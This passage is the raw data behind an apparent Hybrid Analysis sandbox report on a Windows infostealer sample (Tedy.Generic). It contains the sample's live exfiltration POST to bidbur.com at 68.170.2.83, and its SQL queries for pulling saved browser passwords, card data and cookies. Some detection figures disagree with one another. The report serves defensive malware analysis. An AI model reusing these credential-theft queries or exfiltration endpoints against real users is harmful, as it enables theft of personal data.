\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000001.69491.04F90000.00000040.mdmp\")\n Found reference to API \"GetUserNameA\" (Indicator: \"GetUserName\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"password:\" (Indicator: \"password\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found string \"SELECT origin_url, username_value, password_value FROM logins\" (Indicator: \"password\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"\"\\Outlook\\accounts.txt\" in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp\n \"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\\" in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp\n \"Software\\Microsoft\\Office\\13.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\\" in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00004348.00000000.67570.025D0000.00000004.mdmp, 00000000-00004348.00000001.69491.025D0000.00000004.mdmp, 00000000-00004348.00000002.71409.025D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"SetWindowsHookExA\" (Indicator: \"SetWindowsHook\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has a PE timestamp using the buggy magic timestamp 0x2A425E19.","origin":"Static Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"$40","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0\"; Key: \"PROCESSORNAMESTRING\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"9/90 reputation engines marked \"http://bidbur.com\" as malicious (10% detection rate)\n 8/90 reputation engines marked \"http://font.name\" as malicious (8% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"30/72 Antivirus vendors marked sample as malicious (41% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$41","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 68.170.2.83 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegOpenKeyExA\n RegCloseKey\n GetSystemInfo\n GetVersionExA\n GetModuleFileNameA\n LoadLibraryA\n LoadLibraryExA\n LockResource\n UnhandledExceptionFilter\n GetCommandLineA\n GetProcAddress\n GetTempPathA\n CreateThread\n GetModuleHandleA\n FindFirstFileA\n WriteFile\n GetStartupInfoA\n Sleep\n GetTickCount\n CreateFileA\n FindResourceA\n VirtualAlloc\n GetFileSize\n ShellExecuteExW\n GetCursorPos\n GetLastActivePopup\n SetWindowsHookExA\n FindWindowA\n GetWindowThreadProcessId","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"TransmitFile\" (Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe, API is part of module: MSWSOCK.DLL)\n Found string \"AcceptEx\" (Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe, API is part of module: MSWSOCK.DLL)\n Found string \"GetAcceptExSockaddrs\" (Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe, API is part of module: MSWSOCK.DLL)\n Found string \"WSARecvEx\" (Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe, API is part of module: MSWSOCK.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has a section named \"CODE\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has a section named \"DATA\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has a section named \"BSS\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"$42","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"30/72 Antivirus vendors marked sample as malicious (41% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST /b5c586aec2e1004c.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGH\nHost: bidbur.com\nContent-Length: 214\nConnection: Keep-Alive\nCache-Control: no-cache\" with payload:==> \"------JEGHJDGIJECGDHJJECGH\nContent-Disposition: form-data; name=\"hwid\"\n\nA068533DF54E758809014\n------JEGHJDGIJECGDHJJECGH\nContent-Disposition: form-data; name=\"build\"\n\ndefault1\n------JEGHJDGIJECGDHJJECGH--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Steals sensitive data from browsers","description":"Found string \"SELECT origin_url, username_value, password_value FROM logins\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found string \"SELECT name, value FROM autofill\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found string \"SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found string \"SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found string \"SELECT fieldname, value FROM moz_formhistory\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1533","relevance":10,"id":"string-508","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":65,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":5,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["infostealer"],"sample_flags":["Network Traffic","Sample Crashed"],"sandbox_reports":[{"id":"653f106cf5a07e6fcf010445","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Tedy","contacted_countries":["USA"],"submit_name":"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe","analysis_start_time":"2023-10-30T02:09:48+00:00","indicators_count":{"informative":147,"suspicious":26,"malicious":6},"tags":["Network Traffic","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"68.170.2.83","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]}],"dns_resolutions":[{"domain":"bidbur.com","address":"68.170.2.83","ttl":300,"country":"United States","registrar_name":"WEBCC","registrar_organization":"Whoisprotection.cc","registrar_name_servers":"BRADY.NS.CLOUDFLARE.COM","registrar_creation_date":"2023-10-27T14:36:56+00:00","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]}],"http_requests":[{"host":"bidbur.com","host_ip":"68.170.2.83:80","url":"/b5c586aec2e1004c.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /b5c586aec2e1004c.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGH\nHost: bidbur.com\nContent-Length: 214\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}],"processes":[{"pid":4348,"ppid":0,"name":"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe","command_line":"","sha256":"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b","normalized_path":"C:\\9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe","uid":"00000000-00004348","icon":"$43"},{"pid":6828,"ppid":4348,"name":"WerFault.exe","command_line":"-u -p 4348 -s 1108","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00004348","uid":"00000000-00006828"}],"all_imported_dlls":["cfgmgr32.dll","profapi.dll","VxSSL32.dll","urlmon.dll","combase.dll","SHCore.dll","gdi32full.dll","propsys.dll","nsi.dll","FWPUCLNT.DLL","crypt32.dll","ole32.dll","windows.storage.dll","ntdll.dll","shell32.dll","dwmapi.dll","winhttp.dll","kernel32.dll","msvcrt.dll","powrprof.dll","bcrypt.dll","msvcp_win.dll","ucrtbase.dll","ntasn1.dll","mswsock.dll","rasadhlp.dll","KernelBase.dll","cryptbase.dll","imagehlp.dll","msIso.dll","RstrtMgr.dll","iertutil.dll","wow64win.dll","uxtheme.dll","msasn1.dll","GdiPlus.dll","psapi.dll","IPHLPAPI.DLL","wow64.dll","wow64cpu.dll","sspicli.dll","shlwapi.dll","kernel.appcore.dll","comctl32.dll","OnDemandConnRouteHelper.dll","sechost.dll","win32u.dll","rpcrt4.dll","bcryptprimitives.dll","oleaut32.dll","ws2_32.dll","msctf.dll","apphelp.dll","clbcatq.dll","dnsapi.dll","gdi32.dll","imm32.dll","OneCoreUAPCommonProxyStub.dll","winnsi.dll","user32.dll","advapi32.dll","fltLib.dll","version.dll","wininet.dll","ncrypt.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"path":"%SAMPLEDIR%\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"SM0:4348:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"name":"Local\\SM0:4348:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]}]}},"report_ids":{"sandbox_job_ids":["653f106cf5a07e6fcf010445"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Tedy.Generic Sample 9be331f1059d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 9be331f1059d…. Malware family: Tedy.Generic. Threat score 100/100. 6/28 AV engines flagged this file. 4 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b"}],["$","meta","4",{"property":"og:title","content":"Malicious Tedy.Generic Sample 9be331f1059d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 9be331f1059d…. Malware family: Tedy.Generic. Threat score 100/100. 6/28 AV engines flagged this file. 4 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Tedy.Generic Sample 9be331f1059d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 9be331f1059d…. Malware family: Tedy.Generic. Threat score 100/100. 6/28 AV engines flagged this file. 4 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L44","11",{}]]